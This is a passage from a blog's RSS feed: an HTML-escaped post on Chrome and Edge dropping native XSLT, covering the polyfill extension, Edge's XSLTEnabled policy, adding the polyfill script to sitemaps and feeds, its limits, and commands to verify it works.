&lt;li&gt;A contact address that matches the polyfill’s author (&lt;code&gt;mfreed7&lt;/code&gt; on &lt;a href=&quot;https://github.com/mfreed7/xslt_polyfill&quot;&gt;GitHub&lt;/a&gt; and npm).&lt;/li&gt;
&lt;li&gt;A statement that it collects no user data and that all processing happens locally.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What it does, per its description: when a page is raw XML with an XSLT processing instruction, it runs the stylesheet with the polyfill so the page renders as before. It also provides a polyfilled &lt;code&gt;XSLTProcessor&lt;/code&gt;, so JavaScript that used XSLT keeps working. On pages without XSLT, or in a browser that still has native XSLT, it does nothing. That last point means installing it today changes nothing you can see. It starts working the day your browser drops XSLT.&lt;/p&gt;
&lt;p&gt;Before you install it, the usual rule for extensions applies: an extension that rewrites pages needs broad access to them. Check the permissions Chrome shows you, and prefer the listing Chrome’s announcement links to over lookalikes in the same search.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Firefox&lt;/strong&gt; still has XSLT and has no removal date, so you do not need anything there today. There is a separate add-on with the same name on &lt;a href=&quot;https://addons.mozilla.org/firefox/addon/xslt-polyfill/&quot;&gt;addons.mozilla.org&lt;/a&gt;, by a different author (zcorpan).&lt;/p&gt;
&lt;h2 id=&quot;edge-the-same-banner-one-release-later&quot;&gt;Edge: the same banner, one release later&lt;/h2&gt;
&lt;p&gt;Edge is built on Chromium, so it inherited the banner. In September an Edge user &lt;a href=&quot;https://learn.microsoft.com/en-us/answers/questions/6020480/xslt-that-functionality-is-being-removed-browser-m&quot;&gt;asked on Microsoft Q&amp;amp;A&lt;/a&gt; why their Remote Desktop web portal showed “This site uses XSLT…”. The answer was the same as for Chrome: the site owner has to fix it, and the policy only buys time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;There is no XSLT Polyfill listing on Edge Add-ons&lt;/strong&gt; (I searched on 23 October). Edge can install Chrome Web Store extensions, though: open the listing in Edge, accept the “Allow extensions from other stores” prompt, then add it from the listing’s button.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For IT.&lt;/strong&gt; Edge has its own &lt;code&gt;XSLTEnabled&lt;/code&gt; policy, documented &lt;a href=&quot;https://learn.microsoft.com/en-us/deployedge/microsoft-edge-browser-policies/xsltenabled&quot;&gt;on Microsoft Learn&lt;/a&gt; for Edge 147 and later on Windows and macOS (not Android or iOS). Enabled, it keeps XSLT available whatever the browser’s default is. Microsoft plans to remove it in Edge 176:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot; data-language=&quot;text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Group Policy: Administrative Templates &amp;gt; Microsoft Edge &amp;gt; Control the availability of the XSLT feature
Registry:     HKLM\SOFTWARE\Policies\Microsoft\Edge   XSLTEnabled   REG_DWORD   0x00000001
macOS:        XSLTEnabled = &amp;lt;true/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Microsoft’s checklist for admins is worth copying even if you only use Chrome: run Lighthouse in Navigation mode with the Best Practices category on each internal app (turn off “Clear storage” for apps behind a login), then look for XSLT deprecation warnings in the report, the Issues panel and the console.&lt;/p&gt;
&lt;h2 id=&quot;if-you-own-the-site-the-one-line-polyfill&quot;&gt;If you own the site: the one-line polyfill&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/mfreed7/xslt_polyfill&quot;&gt;same polyfill&lt;/a&gt; the extension uses can live in your XML, so visitors do not need any extension. It is on npm as &lt;code&gt;xslt-polyfill&lt;/code&gt; (1.0.33 on 21 October 2026, BSD-3-Clause). The README’s instructions: add a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; element in the XHTML namespace as a child of the root element, before the content.&lt;/p&gt;
&lt;pre class=&quot;language-xml&quot; data-language=&quot;xml&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;token prolog&quot;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token prolog&quot;&gt;&amp;lt;?xml-stylesheet type=&amp;quot;text/xsl&amp;quot; href=&amp;quot;/sitemap.xsl&amp;quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;urlset&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;xmlns&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;quot;&lt;/span&gt;http://www.sitemaps.org/schemas/sitemap/0.9&lt;span class=&quot;token punctuation&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;script&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;quot;&lt;/span&gt;/xslt-polyfill.min.js&lt;span class=&quot;token punctuation&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;xmlns&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;quot;&lt;/span&gt;http://www.w3.org/1999/xhtml&lt;span class=&quot;token punctuation&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;script&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;loc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;https://example.com/a/&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;loc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;loc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;https://example.com/b/&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;loc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;urlset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;what-i-tested&quot;&gt;What I tested&lt;/h3&gt;
&lt;p&gt;I served a sitemap with a small XSL stylesheet (an &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; and a table of links) from a local server. Then I loaded it in Chrome 155 with &lt;code&gt;--enable-features=XSLT&lt;/code&gt; and with &lt;code&gt;--disable-features=XSLT&lt;/code&gt;, which is how Chrome 158 behaves, and dumped the DOM of each result:&lt;/p&gt;




















&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Sitemap&lt;/th&gt;&lt;th&gt;XSLT on (today)&lt;/th&gt;&lt;th&gt;XSLT off (Chrome 158)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Stylesheet only&lt;/td&gt;&lt;td&gt;Table rendered, &lt;strong&gt;with&lt;/strong&gt; the red banner&lt;/td&gt;&lt;td&gt;Chrome’s raw XML viewer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Stylesheet + polyfill line&lt;/td&gt;&lt;td&gt;Table rendered, &lt;strong&gt;no banner&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Table rendered, no banner: same &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt;, same 2 rows&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Three details came out of it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The line also removes the banner today.&lt;/strong&gt; While native XSLT exists, the polyfill does not install itself. Chromium also takes a script in that position as a sign that the polyfill is deployed, and skips the banner (Chrome 155 and later). So the same line fixes November and makes the warning go away now.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It does not have to be the root’s direct child.&lt;/strong&gt; In an RSS feed I put it inside &lt;code&gt;&amp;lt;channel&amp;gt;&lt;/code&gt;, one level down, and the result was the same in both modes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It works from a CDN.&lt;/strong&gt; Pointing &lt;code&gt;src&lt;/code&gt; at &lt;code&gt;https://cdn.jsdelivr.net/npm/xslt-polyfill@1.0.33/xslt-polyfill.min.js&lt;/code&gt; also rendered. Self-host it if you prefer not to depend on a third party. Either way, pin the version.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The cost is weight: &lt;code&gt;xslt-polyfill.min.js&lt;/code&gt; is 1.46 MB, with the WebAssembly inside. Only people who open your sitemap or feed in a browser download it, and it is cached after that.&lt;/p&gt;
&lt;h3 id=&quot;in-astro&quot;&gt;In Astro&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;@astrojs/rss&lt;/code&gt; takes raw XML in &lt;code&gt;customData&lt;/code&gt; and puts it inside &lt;code&gt;&amp;lt;channel&amp;gt;&lt;/code&gt;. I checked that with version 4.0.19. It writes the element self-closed (&lt;code&gt;&amp;lt;script ... /&amp;gt;&lt;/code&gt;), which is fine in XML, and I confirmed that form loads the polyfill too:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; data-language=&quot;js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/pages/rss.xml.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; rss &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;@astrojs/rss&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;rss&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;My blog&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;…&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;site&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;site&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;stylesheet&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;/rss.xsl&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;customData&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&amp;#39;&amp;lt;script src=&amp;quot;/xslt-polyfill.min.js&amp;quot; xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Copy &lt;code&gt;node_modules/xslt-polyfill/xslt-polyfill.min.js&lt;/code&gt; to &lt;code&gt;public/&lt;/code&gt;, or use the CDN URL. &lt;code&gt;@astrojs/sitemap&lt;/code&gt; has no option to inject an element. If you set &lt;code&gt;xslURL&lt;/code&gt; there, the simple paths are dropping it or post-processing the generated file.&lt;/p&gt;
&lt;h3 id=&quot;in-wordpress&quot;&gt;In WordPress&lt;/h3&gt;
&lt;p&gt;Core, Yoast and Rank Math give you filters to change or remove the stylesheet URL, but no clean hook to add an element inside &lt;code&gt;&amp;lt;urlset&amp;gt;&lt;/code&gt;. Until WordPress ships its own fix (ticket #65593, milestone 7.2), the practical choice is the one in the &lt;a href=&quot;https://ortamarco.me/en/blog/chrome-removes-xslt-what-breaks/#what-to-do-with-the-sitemap&quot;&gt;previous post&lt;/a&gt;: drop the stylesheet, or serve an HTML version separately.&lt;/p&gt;
&lt;h3 id=&quot;for-javascript-that-calls-xsltprocessor&quot;&gt;For JavaScript that calls XSLTProcessor&lt;/h3&gt;
&lt;p&gt;Load the polyfill as an ordinary script before your code. &lt;code&gt;new XSLTProcessor()&lt;/code&gt;, &lt;code&gt;importStylesheet()&lt;/code&gt; and &lt;code&gt;transformToFragment()&lt;/code&gt; keep working once the browser has no native version. To exercise it in today’s Chrome, set &lt;code&gt;window.xsltUsePolyfillAlways = true&lt;/code&gt; before the script loads.&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #f43f5e&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#f43f5e1a;color:#f43f5e&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; XML Formatter and Validator &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Indent, minify and validate XML in your browser. It preserves comments, CDATA and the declaration, and points at errors with line and column. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/xml-formatter/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;formateador-xml&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;the-limits&quot;&gt;The limits&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;XSLT 1.0 only.&lt;/strong&gt; The README describes it as a polyfill for XSLT 1.0, “roughly as shipped in the Chrome browser”, and points to SaxonJS for anything more.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;xsl:include&lt;/code&gt;, &lt;code&gt;xsl:import&lt;/code&gt; and &lt;code&gt;document()&lt;/code&gt; are loaded with &lt;code&gt;fetch()&lt;/code&gt;.&lt;/strong&gt; That means CORS applies, where the native processor ignored it. A stylesheet that includes files from another domain will fail. Since &lt;code&gt;fetch()&lt;/code&gt; is asynchronous and &lt;code&gt;XSLTProcessor&lt;/code&gt;’s methods are synchronous, those methods fail when the stylesheet has includes. For a simple sitemap stylesheet on your own domain, this does not come up. For complex ones (such as the SAT’s CFDI stylesheet, with 33 includes), flatten them into one file first. The &lt;a href=&quot;https://ortamarco.me/en/blog/chrome-removes-xslt-what-breaks/#the-alternatives-tested-against-a-real-seal&quot;&gt;previous post&lt;/a&gt; shows that case checked against a real seal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crawlers.&lt;/strong&gt; I found no statement from Google about a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; inside a sitemap. What I can check is the protocol’s own schema: &lt;a href=&quot;https://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd&quot;&gt;&lt;code&gt;sitemap.xsd&lt;/code&gt;&lt;/a&gt; allows elements from other namespaces at the start of &lt;code&gt;&amp;lt;urlset&amp;gt;&lt;/code&gt;, before the first &lt;code&gt;&amp;lt;url&amp;gt;&lt;/code&gt;. The line goes exactly there, so it fits the protocol’s structure. A strict validator may still complain, because the schema asks it to validate those elements. If nobody reads your sitemap in a browser, removing the stylesheet is simpler than adding the polyfill.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-to-check-it-worked&quot;&gt;How to check it worked&lt;/h2&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 1. The line is in what you actually serve&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; https://yoursite.com/sitemap.xml &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;600&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;&amp;lt;script[^&amp;gt;]*xslt-polyfill[^&amp;gt;]*&amp;gt;&amp;#39;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 2. It renders with XSLT off, the way Chrome 158 will&lt;/span&gt;
chrome &lt;span class=&quot;token parameter variable&quot;&gt;--headless&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;new --disable-features&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;XSLT --virtual-time-budget&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8000&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  --dump-dom https://yoursite.com/sitemap.xml &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;&amp;lt;tr&amp;#39;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# &amp;gt; 0 → the table is there. 0 → you are looking at the raw XML viewer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--virtual-time-budget&lt;/code&gt; matters: the polyfill loads asynchronously, and without it &lt;code&gt;--dump-dom&lt;/code&gt; can capture the page before the transform. In a normal window, &lt;code&gt;chrome://flags/#xslt&lt;/code&gt; set to &lt;em&gt;Disabled&lt;/em&gt; gives the same result.&lt;/p&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What is the XSLT Polyfill extension that Chrome&amp;#39;s banner suggests? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It is a browser extension that runs XSLT with libxslt compiled to WebAssembly, so XML pages styled with XSLT keep rendering after the browser removes its native XSLT. It also provides a polyfilled XSLTProcessor for JavaScript. It does nothing on pages without XSLT, or while the browser still supports XSLT natively. The Chrome Web Store listing Chrome&amp;#39;s announcement links to showed version 1.0.25, 100,000 users, and a statement that processing is local and no user data is collected, as of 23 October 2026. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; When does Microsoft Edge remove XSLT? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; In Edge 159, whose Stable release is planned for the week of 10 December 2026, according to Microsoft&amp;#39;s release schedule and message MC1509789. Edge 158, in the week of 19 November, still has XSLT. Chrome removes it earlier, in Chrome 158 on 17 November 2026. Edge&amp;#39;s temporary XSLTEnabled policy is planned to be removed in Edge 176, in summer 2027. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Can I install the XSLT Polyfill extension in Edge? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; There is no XSLT Polyfill listing on the Edge Add-ons store as of 23 October 2026, but Edge can install extensions from the Chrome Web Store. Open the Chrome Web Store listing in Edge, accept Allow extensions from other stores, and add it. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How do I add the XSLT polyfill to a sitemap or RSS feed? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Add a script element in the XHTML namespace near the top of the XML, as a child of the root element: &amp;lt;script src=&amp;quot;/xslt-polyfill.min.js&amp;quot; xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;. I tested it in Chrome with XSLT disabled on a sitemap and on an RSS feed, with the line inside channel, and both rendered as before. The file is about 1.46 MB and is published on npm as xslt-polyfill. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does the polyfill remove the This site uses XSLT banner? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Yes. Chromium skips the banner when the XML has an XHTML script within two levels of the root element, which it reads as the polyfill being deployed. In my test on Chrome 155 the sitemap with the polyfill line showed no banner with native XSLT on, and rendered the same table with XSLT off. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is a script element inside a sitemap valid? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; The sitemaps.org schema allows elements from other namespaces at the start of urlset, before the first url, which is where the polyfill line goes. Google has not published anything specific about it. A strict validator may complain because the schema asks for those elements to be validated. If no person reads your sitemap in a browser, removing the XSL stylesheet is simpler. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does the XSLT polyfill support xsl:include? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It loads xsl:include, xsl:import and document() with fetch, so those requests are subject to CORS, unlike the native processor. Because fetch is asynchronous, the synchronous XSLTProcessor methods fail when the stylesheet has includes. Flatten the stylesheet into one file to avoid both problems. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>Chrome</category><category>Edge</category><category>XSLT</category><category>XML</category><category>SEO</category><author>Marco Orta</author></item><item><title>php2shell (CVE-2026-109618): how to check if your PHP is vulnerable and update 